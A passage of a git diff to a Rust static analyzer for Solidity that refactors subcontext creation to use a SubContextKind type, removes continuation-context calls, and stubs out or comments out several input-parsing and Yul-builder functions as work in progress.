a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index c8d8bac0..491f91cd 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -6,16 +6,14 @@ use crate::{ internal_call::InternalFuncCaller, intrinsic_call::IntrinsicFuncCaller, namespaced_call::NameSpaceFuncCaller, - ContextBuilder, ExpressionParser, Flatten, StatementParser, + ContextBuilder, ExpressionParser, Flatten, }; -use std::cell::RefCell; -use std::rc::Rc; use graph::{ elem::Elem, nodes::{ Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, FunctionNode, - FunctionParamNode, ModifierState, + FunctionParamNode, ModifierState, SubContextKind, }, AnalyzerBackend, ContextEdge, Edge, GraphBackend, Node, }; @@ -74,29 +72,7 @@ impl<'a> NamedOrUnnamedArgs<'a> { ctx: ContextNode, loc: Loc, ) -> Result<(), ExprErr> { - match self { - NamedOrUnnamedArgs::Unnamed(inner) => analyzer.parse_inputs(arena, ctx, loc, inner), - NamedOrUnnamedArgs::Named(inner) => { - let append = Rc::new(RefCell::new(false)); - inner.iter().try_for_each(|arg| { - analyzer.parse_input(arena, ctx, loc, &arg.expr, &append)?; - Ok(()) - })?; - if !inner.is_empty() { - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - ctx.push_expr(ret, analyzer).into_expr_err(loc) - }) - } else { - Ok(()) - } - } - } + unreachable!("should not exist"); } pub fn parse_n( @@ -107,47 +83,7 @@ impl<'a> NamedOrUnnamedArgs<'a> { ctx: ContextNode, loc: Loc, ) -> Result<(), ExprErr> { - let append = Rc::new(RefCell::new(false)); - match self { - NamedOrUnnamedArgs::Unnamed(inner) => { - inner.iter().take(n).try_for_each(|arg| { - analyzer.parse_input(arena, ctx, loc, arg, &append)?; - Ok(()) - })?; - if !inner.is_empty() { - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - ctx.push_expr(ret, analyzer).into_expr_err(loc) - }) - } else { - Ok(()) - } - } - NamedOrUnnamedArgs::Named(inner) => { - inner.iter().take(n).try_for_each(|arg| { - analyzer.parse_input(arena, ctx, loc, &arg.expr, &append)?; - Ok(()) - })?; - if !inner.is_empty() { - analyzer.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - ctx.push_expr(ret, analyzer).into_expr_err(loc) - }) - } else { - Ok(()) - } - } - } + unreachable!("should not exist"); } pub fn order(&self, inputs: ExprRet, ordered_params: Vec) -> ExprRet { @@ -563,13 +499,10 @@ pub trait FuncCaller: Ok(()) } } else { + let subctx_kind = SubContextKind::new_fn_ret(callee_ctx, caller_ctx); let ret_ctx = Context::new_subctx( - callee_ctx, - Some(caller_ctx), + subctx_kind, loc, - None, - None, - false, self, caller_ctx .underlying(self) @@ -579,9 +512,6 @@ pub trait FuncCaller: ) .unwrap(); let ret_subctx = ContextNode::from(self.add_node(Node::Context(ret_ctx))); - ret_subctx - .set_continuation_ctx(self, caller_ctx, "execute_call_inner") - .into_expr_err(loc)?; let res = callee_ctx .set_child_call(ret_subctx, self) diff --git a/crates/solc-expressions/src/func_call/helper.rs b/crates/solc-expressions/src/func_call/helper.rs index c3d4b554..33985256 100644 --- a/crates/solc-expressions/src/func_call/helper.rs +++ b/crates/solc-expressions/src/func_call/helper.rs @@ -1,17 +1,17 @@ //! Helper traits & blanket implementations that help facilitate performing function calls. -use crate::{member_access::ListAccess, variable::Variable, ContextBuilder, ExpressionParser}; +use crate::{member_access::ListAccess, variable::Variable, ContextBuilder}; use graph::{ elem::Elem, nodes::{ CallFork, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, - FunctionNode, FunctionParamNode, ModifierState, + FunctionNode, FunctionParamNode, ModifierState, SubContextKind, }, AnalyzerBackend, ContextEdge, Edge, Node, Range, VarType, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena, StorageLocation}; -use solang_parser::pt::{CodeLocation, Expression, Loc}; +use solang_parser::pt::{Expression, Loc}; use std::{cell::RefCell, collections::BTreeMap, rc::Rc}; @@ -168,29 +168,7 @@ pub trait CallerHelper: AnalyzerBackend + loc: Loc, inputs: &[Expression], ) -> Result<(), ExprErr> { - let append = if ctx.underlying(self).into_expr_err(loc)?.tmp_expr.is_empty() { - Rc::new(RefCell::new(true)) - } else { - Rc::new(RefCell::new(false)) - }; - - inputs - .iter() - .try_for_each(|input| self.parse_input(arena, ctx, loc, input, &append))?; - - if !inputs.is_empty() { - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - ctx.push_expr(ret, analyzer).into_expr_err(loc) - }) - } else { - ctx.push_expr(ExprRet::Null, self).into_expr_err(loc) - } + unreachable!("Should not have called this"); } fn parse_input( @@ -201,25 +179,7 @@ pub trait CallerHelper: AnalyzerBackend + input: &Expression, append: &Rc>, ) -> Result<(), ExprErr> { - self.parse_ctx_expr(arena, input, ctx)?; - self.apply_to_edges(ctx, input.loc(), arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "Inputs did not have left hand sides".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - if *append.borrow() { - ctx.append_tmp_expr(ret, analyzer).into_expr_err(loc) - } else { - *append.borrow_mut() = true; - ctx.push_tmp_expr(ret, analyzer).into_expr_err(loc) - } - }) + unreachable!("Should not have called this"); } /// Creates a new context for a call @@ -240,17 +200,9 @@ pub trait CallerHelper: AnalyzerBackend + .add_gas_cost(self, shared::gas::FUNC_CALL_GAS) .into_expr_err(loc)?; } - let ctx = Context::new_subctx( - curr_ctx, - None, - loc, - None, - Some(func_node), - fn_ext, - self, - modifier_state, - ) - .into_expr_err(loc)?; + + let subctx_kind = SubContextKind::new_fn_call(curr_ctx, None, func_node, fn_ext); + let ctx = Context::new_subctx(subctx_kind, loc, self, modifier_state).into_expr_err(loc)?; let callee_ctx = ContextNode::from(self.add_node(Node::Context(ctx))); curr_ctx .set_child_call(callee_ctx, self) @@ -362,7 +314,7 @@ pub trait CallerHelper: AnalyzerBackend + .modifier_state .is_some() { - if let Some(ret_ctx) = callee_ctx.underlying(self).into_expr_err(loc)?.parent_ctx { + if let Some(ret_ctx) = callee_ctx.underlying(self).into_expr_err(loc)?.parent_ctx() { let ret = ret_ctx.underlying(self).into_expr_err(loc)?.ret.clone(); ret.iter().try_for_each(|(loc, ret)| { let cvar = self.advance_var_in_forced_ctx(*ret, *loc, callee_ctx)?; @@ -408,13 +360,10 @@ pub trait CallerHelper: AnalyzerBackend + return Ok(()); } + let subctx_kind = SubContextKind::new_fn_ret(callee_ctx, caller_ctx); let ctx = Context::new_subctx( - callee_ctx, - Some(caller_ctx), + subctx_kind, loc, - None, - None, - false, self, caller_ctx .underlying(self) @@ -424,10 +373,6 @@ pub trait CallerHelper: AnalyzerBackend + ) .into_expr_err(loc)?; let ret_subctx = ContextNode::from(self.add_node(Node::Context(ctx))); - ret_subctx - .set_continuation_ctx(self, caller_ctx, "ctx_rets") - .into_expr_err(loc)?; - let res = callee_ctx .set_child_call(ret_subctx, self) .into_expr_err(loc); diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs index 232e2adc..a7f9b30b 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/dyn_builtin.rs @@ -1,5 +1,5 @@ use crate::func_caller::NamedOrUnnamedArgs; -use crate::{variable::Variable, ContextBuilder, ExpressionParser, ListAccess}; +use crate::{variable::Variable, ListAccess}; use graph::{ elem::{Elem, RangeElem}, @@ -45,41 +45,42 @@ pub trait DynBuiltinCaller: AnalyzerBackend Result<(), ExprErr> { - input_exprs.unnamed_args().unwrap()[1..] - .iter() - .try_for_each(|expr| { - self.parse_ctx_expr(arena, expr, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let input = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - .unwrap_or(ExprRet::Null); - ctx.append_tmp_expr(input, analyzer).into_expr_err(loc) - }) - })?; + todo!("uses tmp expr stack"); + // input_exprs.unnamed_args().unwrap()[1..] + // .iter() + // .try_for_each(|expr| { + // self.parse_ctx_expr(arena, expr, ctx)?; + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let input = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // .unwrap_or(ExprRet::Null); + // ctx.append_tmp_expr(input, analyzer).into_expr_err(loc) + // }) + // })?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let Some(inputs) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoRhs(loc, "Concatenation failed".to_string())); - }; - if matches!(inputs, ExprRet::CtxKilled(_)) { - ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; - return Ok(()); - } - let inputs = inputs.as_vec(); - if inputs.is_empty() { - ctx.push_expr(ExprRet::Multi(vec![]), analyzer) - .into_expr_err(loc)?; - Ok(()) - } else { - let start = &inputs[0]; - if inputs.len() > 1 { - analyzer.match_concat(arena, ctx, loc, start.clone(), &inputs[1..], false) - } else { - analyzer.match_concat(arena, ctx, loc, start.clone(), &[], false) - } - } - }) + // self.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { + // let Some(inputs) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { + // return Err(ExprErr::NoRhs(loc, "Concatenation failed".to_string())); + // }; + // if matches!(inputs, ExprRet::CtxKilled(_)) { + // ctx.push_expr(inputs, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } + // let inputs = inputs.as_vec(); + // if inputs.is_empty() { + // ctx.push_expr(ExprRet::Multi(vec![]), analyzer) + // .into_expr_err(loc)?; + // Ok(()) + // } else { + // let start = &inputs[0]; + // if inputs.len() > 1 { + // analyzer.match_concat(arena, ctx, loc, start.clone(), &inputs[1..], false) + // } else { + // analyzer.match_concat(arena, ctx, loc, start.clone(), &[], false) + // } + // } + // }) } /// Match on the expression returns diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs index c76227cc..7aff24ce 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/intrinsic_caller.rs @@ -11,7 +11,7 @@ use crate::{ use graph::{ elem::Elem, nodes::{Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ContractNode, ExprRet}, - AnalyzerBackend, Node, TypeNode, VarType, + AnalyzerBackend, Node, }; use shared::{ExprErr, IntoExprErr, NodeIdx, RangeArena}; diff --git a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs index 81021a55..6b1aa216 100644 --- a/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs +++ b/crates/solc-expressions/src/func_call/intrinsic_call/precompile.rs @@ -1,6 +1,6 @@ use crate::func_caller::NamedOrUnnamedArgs; use crate::{func_call::helper::CallerHelper, ContextBuilder, ExpressionParser}; -use graph::nodes::FunctionNode; +use graph::nodes::{FunctionNode, SubContextKind}; use graph::{ elem::Elem, @@ -84,17 +84,9 @@ pub trait PrecompileCaller: "ecrecover" => { input_exprs.parse(arena, self, ctx, loc)?; self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let cctx = Context::new_subctx( - ctx, - None, - loc, - None, - Some(func_idx.into()), - true, - analyzer, - None, - ) - .into_expr_err(loc)?; + let subctx_kind = SubContextKind::new_fn_call(ctx, None, func_idx.into(), true); + let cctx = + Context::new_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let call_ctx = analyzer.add_node(Node::Context(cctx)); ctx.set_child_call(call_ctx.into(), analyzer) .into_expr_err(loc)?; @@ -149,27 +141,14 @@ pub trait PrecompileCaller: .add_return_node(loc, cvar.into(), analyzer) .into_expr_err(loc)?; - let rctx = Context::new_subctx( - call_ctx.into(), - Some(ctx), - loc, - None, - None, - true, - analyzer, - None, - ) - .into_expr_err(loc)?; + let subctx_kind = SubContextKind::new_fn_ret(call_ctx.into(), ctx); + let rctx = + Context::new_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let ret_ctx = analyzer.add_node(Node::Context(rctx)); ContextNode::from(call_ctx) .set_child_call(ret_ctx.into(), analyzer) .into_expr_err(loc)?; - // the return is a continuation of the ctx not the ecrecover ctx - ContextNode::from(ret_ctx) - .set_continuation_ctx(analyzer, ctx, "ecrecover") - .into_expr_err(loc)?; - let tmp_ret = ContextVarNode::from(cvar) .as_tmp( ContextNode::from(call_ctx) diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index 0980ca73..ab052281 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -4,7 +4,7 @@ use crate::{func_caller::FuncCaller, helper::CallerHelper, ContextBuilder, Expre use graph::{ elem::Elem, - nodes::{Concrete, Context, ContextNode, ExprRet, FunctionNode, ModifierState}, + nodes::{Concrete, Context, ContextNode, ExprRet, FunctionNode, ModifierState, SubContextKind}, AnalyzerBackend, Edge, GraphBackend, Node, }; use shared::{ExprErr, IntoExprErr, RangeArena}; @@ -112,13 +112,15 @@ pub trait ModifierCaller: .into_expr_err(mstate.loc)? .loc; - let pctx = Context::new_subctx( + let subctx_kind = SubContextKind::new_fn_call( ctx, Some(modifier_state.parent_ctx), - loc, - None, - None, + mods[mstate.num], false, + ); + let pctx = Context::new_subctx( + subctx_kind, + loc, analyzer, Some(modifier_state.clone()), ) @@ -126,13 +128,6 @@ pub trait ModifierCaller: let new_parent_subctx = ContextNode::from(analyzer.add_node(Node::Context(pctx))); - new_parent_subctx - .set_continuation_ctx( - analyzer, - modifier_state.parent_ctx, - "resume_from_modifier_nonfinal", - ) - .into_expr_err(loc)?; ctx.set_child_call(new_parent_subctx, analyzer) .into_expr_err(modifier_state.loc)?; @@ -148,26 +143,17 @@ pub trait ModifierCaller: )?; Ok(()) } else { - let pctx = Context::new_subctx( + let subctx_kind = SubContextKind::new_fn_call( ctx, Some(modifier_state.parent_ctx), - modifier_state.loc, - None, - None, + modifier_state.parent_fn, false, - analyzer, - None, - ) - .unwrap(); + ); + + let pctx = Context::new_subctx(subctx_kind, modifier_state.loc, analyzer, None) + .unwrap(); let new_parent_subctx = ContextNode::from(analyzer.add_node(Node::Context(pctx))); - new_parent_subctx - .set_continuation_ctx( - analyzer, - modifier_state.parent_ctx, - "resume_from_modifier_final", - ) - .into_expr_err(loc)?; ctx.set_child_call(new_parent_subctx, analyzer) .into_expr_err(modifier_state.loc)?; @@ -208,17 +194,10 @@ pub trait ModifierCaller: let args_str = args .iter() .map(|expr| { - let mctx = Context::new_subctx( - ctx, - None, - Loc::Implicit, - None, - None, - false, - self, - None, - ) - .into_expr_err(Loc::Implicit)?; + let subctx_kind = SubContextKind::new_dummy(ctx); + let mctx = + Context::new_subctx(subctx_kind, Loc::Implicit, self, None) + .into_expr_err(Loc::Implicit)?; let callee_ctx = ContextNode::from(self.add_node(Node::Context(mctx))); let _res = ctx.set_child_call(callee_ctx, self); diff --git a/crates/solc-expressions/src/list.rs b/crates/solc-expressions/src/list.rs index 464db284..4b2cfa6a 100644 --- a/crates/solc-expressions/src/list.rs +++ b/crates/solc-expressions/src/list.rs @@ -1,5 +1,3 @@ -use crate::{ContextBuilder, ExpressionParser}; - use graph::{ elem::Elem, nodes::{Concrete, ContextNode, ContextVar, ExprRet}, @@ -20,40 +18,7 @@ pub trait List: AnalyzerBackend + Sized { loc: Loc, params: &ParameterList, ) -> Result<(), ExprErr> { - params.iter().try_for_each(|(loc, input)| { - if let Some(input) = input { - self.parse_ctx_expr(arena, &input.ty, ctx)?; - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "List did not have left hand sides".to_string(), - )); - }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } - ctx.append_tmp_expr(analyzer.match_input_ty(ctx, &loc, &ret, input)?, analyzer) - .into_expr_err(loc) - }) - } else { - // create a dummy var - self.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - ctx.append_tmp_expr(ExprRet::Null, analyzer) - .into_expr_err(loc) - }) - } - })?; - self.apply_to_edges(ctx, loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = ctx.pop_tmp_expr(loc, analyzer).into_expr_err(loc)? else { - return Err(ExprErr::NoLhs( - loc, - "List did not have left hand sides".to_string(), - )); - }; - ctx.push_expr(ret, analyzer).into_expr_err(loc) - }) + unreachable!("Should not have called this"); } fn match_input_ty( diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index b0eed50b..861810db 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -6,7 +6,7 @@ use graph::{ use shared::{ExprErr, IntoExprErr, RangeArena}; use ethers_core::types::{Address, H256, I256, U256}; -use solang_parser::pt::{HexLiteral, Identifier, Loc}; +use solang_parser::pt::Loc; use std::str::FromStr; @@ -376,6 +376,7 @@ mod tests { use graph::nodes::Context; use graph::nodes::Function; use pyrometer::Analyzer; + use solang_parser::pt::HexLiteral; use solang_parser::pt::Loc; fn make_context_node_for_analyzer(analyzer: &mut Analyzer) -> ContextNode { @@ -858,7 +859,7 @@ mod tests { bytes[0] = 0x7B; bytes[1] = 0xFF; let expected = Concrete::Bytes(2, H256::from_slice(&bytes)); - test_hex_literals(&hex_literals, expected) + test_hex_literals(&hex_literals[..], expected) } #[test] diff --git a/crates/solc-expressions/src/loops.rs b/crates/solc-expressions/src/loops.rs index 6658252a..c9a86457 100644 --- a/crates/solc-expressions/src/loops.rs +++ b/crates/solc-expressions/src/loops.rs @@ -1,4 +1,5 @@ -use crate::{variable::Variable, ContextBuilder, Flatten, StatementParser}; +use crate::{variable::Variable, ContextBuilder, Flatten}; +use graph::nodes::SubContextKind; use graph::ContextEdge; use graph::Edge; @@ -91,9 +92,8 @@ pub trait Looper: } }); - let sctx = - Context::new_subctx(ctx, Some(og_ctx), loc, None, None, false, analyzer, None) - .into_expr_err(loc)?; + let subctx_kind = SubContextKind::new_fn_ret(ctx, og_ctx); + let sctx = Context::new_subctx(subctx_kind, loc, analyzer, None).into_expr_err(loc)?; let sctx = ContextNode::from(analyzer.add_node(Node::Context(sctx))); ctx.set_child_call(sctx, analyzer).into_expr_err(loc) }) diff --git a/crates/solc-expressions/src/variable.rs b/crates/solc-expressions/src/variable.rs index 7fb723ae..a121792e 100644 --- a/crates/solc-expressions/src/variable.rs +++ b/crates/solc-expressions/src/variable.rs @@ -7,7 +7,7 @@ use graph::{ }; use shared::{ExprErr, GraphError, IntoExprErr, NodeIdx, RangeArena}; -use solang_parser::pt::{Expression, Identifier, Loc, StorageLocation, VariableDeclaration}; +use solang_parser::pt::{Expression, Identifier, Loc, StorageLocation}; impl Variable for T where T: AnalyzerBackend + Sized {} /// Deals with variable retrieval, parsing, and versioning diff --git a/crates/solc-expressions/src/yul/yul_builder.rs b/crates/solc-expressions/src/yul/yul_builder.rs index 66b8e92c..4ad6c60f 100644 --- a/crates/solc-expressions/src/yul/yul_builder.rs +++ b/crates/solc-expressions/src/yul/yul_builder.rs @@ -1,20 +1,15 @@ //! Trait and blanket implementation for parsing yul-based statements and expressions -use crate::{yul::YulCondOp, yul::YulFuncCaller, ContextBuilder, ExpressionParser}; +use crate::ExpressionParser; use graph::{ elem::Elem, - nodes::{ - BuiltInNode, Builtin, Concrete, Context, ContextNode, ContextVar, ContextVarNode, ExprRet, - }, + nodes::{BuiltInNode, Builtin, Concrete, ContextNode, ContextVar, ContextVarNode, ExprRet}, AnalyzerBackend, ContextEdge, Edge, Node, SolcRange, VarType, }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::{ - helpers::CodeLocation, - pt::{Expression, Loc, YulExpression, YulFor, YulStatement, YulSwitch}, -}; +use solang_parser::pt::{Expression, Loc, YulExpression, YulStatement}; impl YulBuilder for T where T: AnalyzerBackend + Sized + ExpressionParser @@ -35,18 +30,18 @@ pub trait YulBuilder: Self: Sized, { panic!("here"); - if let Some(true) = self.add_if_err(ctx.is_ended(self).into_expr_err(stmt.loc())) { - return; - } - if let Some(live_edges) = self.add_if_err(ctx.live_edges(self).into_expr_err(stmt.loc())) { - if live_edges.is_empty() { - self.parse_ctx_yul_stmt_inner(arena, stmt, ctx) - } else { - live_edges.iter().for_each(|fork_ctx| { - self.parse_ctx_yul_stmt_inner(arena, stmt, *fork_ctx); - }); - } - } + // if let Some(true) = self.add_if_err(ctx.is_ended(self).into_expr_err(stmt.loc())) { + // return; + // } + // if let Some(live_edges) = self.add_if_err(ctx.live_edges(self).into_expr_err(stmt.loc())) { + // if live_edges.is_empty() { + // self.parse_ctx_yul_stmt_inner(arena, stmt, ctx) + // } else { + // live_edges.iter().for_each(|fork_ctx| { + // self.parse_ctx_yul_stmt_inner(arena, stmt, *fork_ctx); + // }); + // } + // } } #[tracing::instrument(level = "trace", skip_all)] @@ -60,217 +55,217 @@ pub trait YulBuilder: Self: Sized, { panic!("here"); - use YulStatement::*; + // use YulStatement::*; // println!("ctx: {}, yul stmt: {:?}", ctx.path(self), stmt); - let res = ctx - .pop_expr_latest(stmt.loc(), self) - .into_expr_err(stmt.loc()); - let _ = self.add_if_err(res); + // let res = ctx + // .pop_expr_latest(stmt.loc(), self) + // .into_expr_err(stmt.loc()); + // let _ = self.add_if_err(res); - if ctx.is_killed(self).unwrap() { - return; - } - let ret = self.apply_to_edges(ctx, stmt.loc(), arena, &|analyzer, arena, ctx, _loc| { - match stmt { - Assign(loc, yul_exprs, yul_expr) => { - match yul_exprs - .iter() - .try_for_each(|expr| analyzer.parse_ctx_yul_expr(arena, expr, ctx)) - { - Ok(()) => analyzer.apply_to_edges( - ctx, - *loc, - arena, - &|analyzer, arena, ctx, loc| { - let Some(lhs_side) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoLhs( - loc, - "No left hand side assignments in yul block".to_string(), - )); - }; - if matches!(lhs_side, ExprRet::CtxKilled(_)) { - ctx.push_expr(lhs_side, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if ctx.is_killed(self).unwrap() { + // return; + // } + // let ret = self.apply_to_edges(ctx, stmt.loc(), arena, &|analyzer, arena, ctx, _loc| { + // match stmt { + // Assign(loc, yul_exprs, yul_expr) => { + // match yul_exprs + // .iter() + // .try_for_each(|expr| analyzer.parse_ctx_yul_expr(arena, expr, ctx)) + // { + // Ok(()) => analyzer.apply_to_edges( + // ctx, + // *loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // let Some(lhs_side) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoLhs( + // loc, + // "No left hand side assignments in yul block".to_string(), + // )); + // }; + // if matches!(lhs_side, ExprRet::CtxKilled(_)) { + // ctx.push_expr(lhs_side, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - analyzer.parse_ctx_yul_expr(arena, yul_expr, ctx)?; - analyzer.apply_to_edges( - ctx, - loc, - arena, - &|analyzer, arena, ctx, loc| { - let Some(rhs_side) = ctx - .pop_expr_latest(loc, analyzer) - .into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "No right hand side assignments in yul block" - .to_string(), - )); - }; + // analyzer.parse_ctx_yul_expr(arena, yul_expr, ctx)?; + // analyzer.apply_to_edges( + // ctx, + // loc, + // arena, + // &|analyzer, arena, ctx, loc| { + // let Some(rhs_side) = ctx + // .pop_expr_latest(loc, analyzer) + // .into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "No right hand side assignments in yul block" + // .to_string(), + // )); + // }; - if matches!(rhs_side, ExprRet::CtxKilled(_)) { - ctx.push_expr(rhs_side, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if matches!(rhs_side, ExprRet::CtxKilled(_)) { + // ctx.push_expr(rhs_side, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - analyzer.match_assign_sides( - arena, ctx, loc, &lhs_side, &rhs_side, - ) - }, - ) - }, - ), - Err(e) => Err(e), - } - } - VariableDeclaration(loc, yul_idents, maybe_yul_expr) => { - let nodes = yul_idents - .iter() - .map(|ident| { - let b_ty = analyzer.builtin_or_add(Builtin::Uint(256)); - let var = ContextVar { - loc: Some(ident.loc), - name: ident.id.name.clone(), - display_name: ident.id.name.clone(), - storage: None, - is_tmp: false, - tmp_of: None, - dep_on: None, - is_symbolic: true, - is_return: false, - ty: VarType::try_from_idx(analyzer, b_ty).unwrap(), - }; - let cvar = - ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); - ctx.add_var(cvar, analyzer).unwrap(); - analyzer.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); - analyzer.advance_var_in_ctx(cvar, *loc, ctx).unwrap() - }) - .collect::>(); + // analyzer.match_assign_sides( + // arena, ctx, loc, &lhs_side, &rhs_side, + // ) + // }, + // ) + // }, + // ), + // Err(e) => Err(e), + // } + // } + // VariableDeclaration(loc, yul_idents, maybe_yul_expr) => { + // let nodes = yul_idents + // .iter() + // .map(|ident| { + // let b_ty = analyzer.builtin_or_add(Builtin::Uint(256)); + // let var = ContextVar { + // loc: Some(ident.loc), + // name: ident.id.name.clone(), + // display_name: ident.id.name.clone(), + // storage: None, + // is_tmp: false, + // tmp_of: None, + // dep_on: None, + // is_symbolic: true, + // is_return: false, + // ty: VarType::try_from_idx(analyzer, b_ty).unwrap(), + // }; + // let cvar = + // ContextVarNode::from(analyzer.add_node(Node::ContextVar(var))); + // ctx.add_var(cvar, analyzer).unwrap(); + // analyzer.add_edge(cvar, ctx, Edge::Context(ContextEdge::Variable)); + // analyzer.advance_var_in_ctx(cvar, *loc, ctx).unwrap() + // }) + // .collect::>(); - if let Some(yul_expr) = maybe_yul_expr { - analyzer.parse_ctx_yul_expr(arena, yul_expr, ctx)?; - analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { - let Some(ret) = - ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - else { - return Err(ExprErr::NoRhs( - loc, - "No right hand side assignments in yul block".to_string(), - )); - }; + // if let Some(yul_expr) = maybe_yul_expr { + // analyzer.parse_ctx_yul_expr(arena, yul_expr, ctx)?; + // analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, _arena, ctx, loc| { + // let Some(ret) = + // ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? + // else { + // return Err(ExprErr::NoRhs( + // loc, + // "No right hand side assignments in yul block".to_string(), + // )); + // }; - if matches!(ret, ExprRet::CtxKilled(_)) { - ctx.push_expr(ret, analyzer).into_expr_err(loc)?; - return Ok(()); - } + // if matches!(ret, ExprRet::CtxKilled(_)) { + // ctx.push_expr(ret, analyzer).into_expr_err(loc)?; + // return Ok(()); + // } - analyzer.match_assign_yul(ctx, loc, &nodes, ret) - }) - } else { - Ok(()) - } - } - If(loc, yul_expr, yul_block) => { - analyzer.apply_to_edges(ctx, *loc, arena, &|analyzer, arena, ctx, loc| { - let ret = analyzer.yul_cond_op_stmt(arena, loc, yul_expr, yul_block, ctx); - let _ = analyzer.add_if_err(ret); - Ok(()) - }) - } - For(YulFor { - loc, - init_block: _, - condition: _, - post_block: _, - execution_block: _, - }) => { - let sctx = - Context::new_subctx(ctx, None, *loc, None, None, false, analyzer, None) - .into_expr_err(*loc)?; - let subctx = ContextNode::from(analyzer.add_node(Node::Context(sctx))); - ctx.set_child_call(subctx, analyzer).into_expr_err(*loc)?; - analyzer.apply_to_edges(subctx, *loc, arena, &|analyzer, arena, subctx, loc| { - let vars = subctx.local_vars(analyzer).clone(); - vars.iter().for_each(|(name, var)| { - // widen to max range - if let Some(inheritor_var) = ctx.var_by_name(analyzer, name) { - let inheritor_var = inheritor_var.latest_version(analyzer); - if let Some(r) = var - .underlying(analyzer) - .unwrap() - .ty - .default_range(analyzer) - .unwrap() - { - let new_inheritor_var = analyzer - .advance_var_in_ctx(inheritor_var, loc, ctx) - .unwrap(); - let res = new_inheritor_var - .set_range_min(analyzer, arena, r.min) - .into_expr_err(loc); - let _ = analyzer.add_if_err(res); - let res = 